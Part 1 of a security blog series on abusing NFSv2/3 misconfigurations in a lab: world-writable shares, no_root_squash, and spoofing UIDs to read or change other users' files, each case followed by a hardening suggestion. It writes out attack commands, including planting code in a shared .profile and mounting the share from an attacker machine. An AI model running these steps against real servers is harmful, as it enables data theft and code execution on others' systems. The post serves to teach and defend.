Part
1
In this blog I thought that it would be good to
look at a common network filesystem in use on Linux and UNIX systems; that of
NFS - specifically versions 2/3. NFSv3 can be found in Internet RFC1813,
from 1995. For NFSv2 see RFC1094 from 1989 . NFSv4
really needs separate treatment.
Due to the fun that can be had, I've split it
into a number of parts.
NFS is a way of sharing part or all of a UNIX
filesystem to other computers, very much likes CIFS/Samba shares in the Windows
world. It was developed in a time when there was less focus on security and,
typically, hosts were generally trusted to be 'honest'.
So, why is this a problem I hear you ask.
Traditionally NFS was used to share user home
areas, mail directories, and 'common' local applications. It has also be used
to share application data between nodes. As an adversary, it naturally follows
that if we can abuse NFS to read or write to those filesystems we can do useful
things. For example...
- User home areas can have personal/private
information, shell history files, ssh private keys, etc. All useful information
to pilfer.
- User home areas have profile files and other
shares may have other executable content. If we can write to these locations,
worst case we could execute arbitrary code on the 'inaccessible' clients as an
unprivileged user. If we are lucky root will execute these; this allows us to
potentially elevate our access onto systems.
- Application data. Is this 'sensitive' info
(customer data, for example), system backups (any /etc/shadow files, web server
SSL private keys), database files, web server directories to present exploits
to web clients.
… and this is just a small set of examples.
Depending on the access and type of data, we
can compromise the confidentiality, integrity and availability of systems
and/or data. This isn't just those in the NFS environment, but the
information/access gained can be useful to allow us to pivot onto other
systems.
When reading the examples, think what the
consequences would be if the example files were each of the above, and you start
to get an idea of the scope of abuse we can cause.
Rather than look at some complex penetration
tester technique to compromise all of this, I will go through a number of
simple, common and powerful techniques that can result in compromise. At each
stage we will look at improving the situation and then look at other ways we
can abuse it.
First, the setup used in the examples.
We will have three devices running Linux:
- centos-t-2-t1 will be the NFS server, sharing
/myShare
to all hosts with the no_root_squash
option
- centos-7-2-t2 will be the legitimate NFS
client, mounting it as /myNFSmount
- centos-7-2-t3 will be the adversaries'
system.
Occasionally we will use sol10-u9-t4, which is
a Solaris system as there are some useful differences to point out.
We also have implemented one of my pet hates.
Due to 'problems' in getting things to work properly, the users have decided
that doing a 'chmod 777' will fix things. Sigh
:-(
[root@centos-7-2-t1 ~]$ cat /etc/exports
/myShare *(rw,no_root_squash)
[root@centos-7-2-t1 ~]# showmount --exports
Export list for centos-7-2-t1.m0noc.net:
/myShare *
[root@centos-7-2-t2 ~]# mount -t nfs -o tcp,vers=3
centos-7-2-t1:/myShare /myNFSmount
Now, before going into some of the detail it is
worth mentioning two ways to mount NFS shares. There is the traditional 'mount'
command as shown, but one that many people forget is the /net automount, which is
available by default on Solaris. Here you change to the /net/HOSTNAME/MOUNT
directory where HOSTNAME and MOUNT are the hostname/ip address and the share
location to automatically mount it as an
unprivileged user.
joe@sol10-u9-t4$ id
uid=102(joe) gid=1(other)
joe@sol10-u9-t4$ ls -la /net/centos-7-2-t1/myShare
total 17
drwxr-xr-x 3 5000 5000 57 May 11 2016 .
dr-xr-xr-x 2 root root 2 May 10 18:12 ..
-rwx------ 1 5000 5000 43 May 11 2016 .profile
drwx------ 2 root root 16 May 11 2016 foo
---------- 1 5000 5000 13 May 10 15:38 supersecretfile.txt
Admittedly, when I was trying this out on a
Solaris 10U9 box and CentOS 7.2 I did have to tweak it as it attempted the
mount over NFSv4. However, old versions of Solaris and Linux wont support
NFSv4. Further, it is not uncommon for administrators to disable NFSv4 because
of interoperability 'issues' like this. So, even in in the latest OS's, if the
adversary has compromised a Solaris box as an unprivileged user, this could be
a way to gain access to a share, rather than using their own box or escalating
their privileges.
Finally, these are just examples. There are
many variants and other tricks you can perform.
Case
1 – 'chmod 777'
This is an all too common 'fix' with users and
administrators working round something not working correctly. It basically states,
allow all users all forms of access to the file or directory. The beauty of it
over NFS is that any user that can access it from any host can also experience
the same privileges.
In this case the adversary doesn't even need
their own system as the following will give them access (providing the system
can see the share)-
- any
system with root access allows them to mount it
- (potentially) any Solaris system as any user
via the /net filesystem
- any legitimate (or otherwise) client that has
mounted that filesystem
Let's assume that the NFS server has the
following in the filesystem:
[root@centos-7-2-t1 myShare]# ls -la
total 8
drwxrwxrwx. 3 oracle
oracle 84 May 11 13:43 .
dr-xr-xr-x. 19 root
root 4096 May 10 13:30 ..
----------. 1 oracle
oracle 0 May 10 15:40
do-not-delete-me.txt
drwxr-xr-x. 2 root root
16 May 11 13:43 foo
-rwxrwxrwx. 1 oracle
oracle 18 May 11 13:47 .profile
-r--------. 1 oracle
oracle 13 May 10 15:38
supersecretfile.txt
[root@centos-7-2-t1 myShare]# ls -l foo
total 0
-rwxr-x---. 1 root root 0 May 11 13:43 bar
Whilst under this setup there are a few things
we cannot do as a non-privileged user, for example read or change ownership of supersecretfile.txt,
we can do a few other things:
We can delete files we cannot access, as this
is done by updating the directory inode:
[joe@centos-7-2-t2 myNFSmount]$ rm do-not-delete-me.txt
rm: remove write-protected regular empty file ‘do-not-delete-me.txt’? y
[joe@centos-7-2-t2 myNFSmount]$
We can update world-writable files like .profile, so if anyone sources that
file (e.g on a client we don't have access too) then we can run arbitrary code
as that user (inc root!) on that client.
[joe@centos-7-2-t2 myNFSmount]$ echo echo You have been pwned
>> .profile
[joe@centos-7-2-t2 myNFSmount]$
However, we cannot overwrite the foo
sub-directory, but as we know what is in there we can 'replace' it. Again, this
is because the move is updating the world-writable directory inode and not the
file.
[joe@centos-7-2-t2 myNFSmount]$ mv foo no.foo
[joe@centos-7-2-t2 myNFSmount]$ mkdir foo
[joe@centos-7-2-t2 myNFSmount]$ echo You have been pwned >>
foo/bar
[joe@centos-7-2-t2 myNFSmount]$
Result:
[root@centos-7-2-t1 myShare]# find . -ls
1248132 0 drwxrwxrwx 4 oracle
oracle 70 May 11 13:53 .
1431703 4 -r-------- 1 oracle
oracle 13 May 10 15:38
./supersecretfile.txt
492804 4 -rwxrwxrwx 1 oracle
oracle 43 May 11 13:52
./.profile
492802 0 drwxr-xr-x 2 root
root 16 May 11 13:43
./no.foo
492803 0 -rwxr-x--- 1 root
root 0 May 11 13:43
./no.foo/bar
33848916 0 drwxrwxr-x 2 6000
6000 16 May 11 13:53 ./foo
33848917 4 -rw-rw-r-- 1 6000
6000 20 May 11 13:53
./foo/bar
Suggestion 1 – set appropriate permissions on
your files – don't allow world write.
Case
2 – no_root_squash
This is only ever useful+safe(ish) for diskless
clients or Jumpstart servers as a read-only share. It allows the root user on
any system that can access the NFS share to act as if they are root on files
within that share.
Conversely, when root is 'squashed', root from
the client is treated as an unprivileged user on the server. Therefore, root
owned files on the server are accessed as a non-root user by root on the
client.
Anyway, in this case of no_root_squash, the adversary either needs
to gain root access to a legitimate or other client, or be able to access it
from their own system (one would expect they have root access on that).
Lets assume we have the following setup on the
share:
[root@centos-7-2-t1 myShare]# find . -ls
1248132 0 drwx------ 3 oracle
oracle 57 May 11 13:59 .
1431703 4 ---------- 1 oracle
oracle 13 May 10 15:38
./supersecretfile.txt
492804 4 -rwx------ 1 oracle
oracle 43 May 11 13:52
./.profile
492802 0 drwx------ 2 root
root 16 May 11 13:43 ./foo
492803 0 -rwx------ 1 root
root 0 May 11 13:43
./foo/bar
Now, on an attacker controlled box we can just
access supersecretfile.txt:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3
10.255.0.13:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount
[root@centos-7-2-t3 tgtNFSmount]# cat supersecretfile.txt
nobody knows
Or, for example, change the ownership of an
arbitrary file:
[root@centos-7-2-t3 tgtNFSmount]# chown root .profile
[root@centos-7-2-t3 tgtNFSmount]# ls -l .profile
-rwx------. 1 root oracle 43 May 11 13:52 .profile
It gets worse; but more on that in part 2.
Suggestion 2 – don't use no_root_squash unless absolutely necessary;
even then it should be read-only.
Case
3 – Permissions don't really matter
It was hinted at in case 2, but one of the most
fundamental things to understand about NFS is that the client server plays a
pivotal role in the authentication decision.
Let's assume we start with the same situation
as in case 2:
[root@centos-7-2-t1 myShare]# find . -ls
1248132 0 drwx------ 3 oracle
oracle 57 May 11 13:59 .
1431703 4 ---------- 1 oracle
oracle 13 May 10 15:38
./supersecretfile.txt
492804 4 -rwx------ 1 oracle
oracle 43 May 11 13:52 ./.profile
492802 0 drwx------ 2 root
root 16 May 11 13:43
./foo
492803 0 -rwx------ 1 root
root 0 May 11 13:43
./foo/bar
Except this time, we don't export the
filesystem with no_root_squash:
[root@centos-7-2-t1 myShare]# cat /etc/exports
/myShare *(rw)
Now, if the attacker mounts or accesses the
share as root:
[root@centos-7-2-t3 ~]# mount -t nfs -o tcp,vers=3
10.255.0.13:/myShare /tgtNFSmount/
[root@centos-7-2-t3 ~]# cd /tgtNFSmount/
-bash: cd: /tgtNFSmount/: Permission denied
[root@centos-7-2-t3 ~]# ls -ld /tgtNFSmount/
drwx------. 3 5000 5000 57 May 11 13:59 /tgtNFSmount/
Well, that's annoying.
But all is not lost. As we are root on the
client (the attackers box), we can just create a new user with uid 5000, become
that user and access the share – since the owner of the file/dir isn't root:
[root@centos-7-2-t3 ~]# useradd -u 5000 -m bh5000
[root@centos-7-2-t3 ~]# su - bh5000
[bh5000@centos-7-2-t3 ~]$ cd /tgtNFSmount/
[bh5000@centos-7-2-t3 tgtNFSmount]$ ls -l
total 4
drwx------. 2 root
root 16 May 11 13:43 foo
----------. 1 bh5000 bh5000 13 May 10 15:38 supersecretfile.txt
We can then change the permissions of supersecretfile.txt to read it, and perform the same trick as in
case 1 to replace the foo
directory.
Note that on the NFS server the owner is
oracle, but here it is bh5000. This is because the OS and NFS work on UID/GIDs
and not names. The local server translates the UID/GID to meaningful names
based on /etc/passwd or other name services, as a convenience for us humans. In
this case UID 5000 and GID 5000.
Note in this case, as we don't have no_root_squash, any root-owned file is not
as easy to access; and won't work via this trick (unless the existing permissions
allow it).
In the next part I will be looking at
escalating privileges via further abuse of the NFS share, and adding some
improved countermeasures.
No comments:
Post a Comment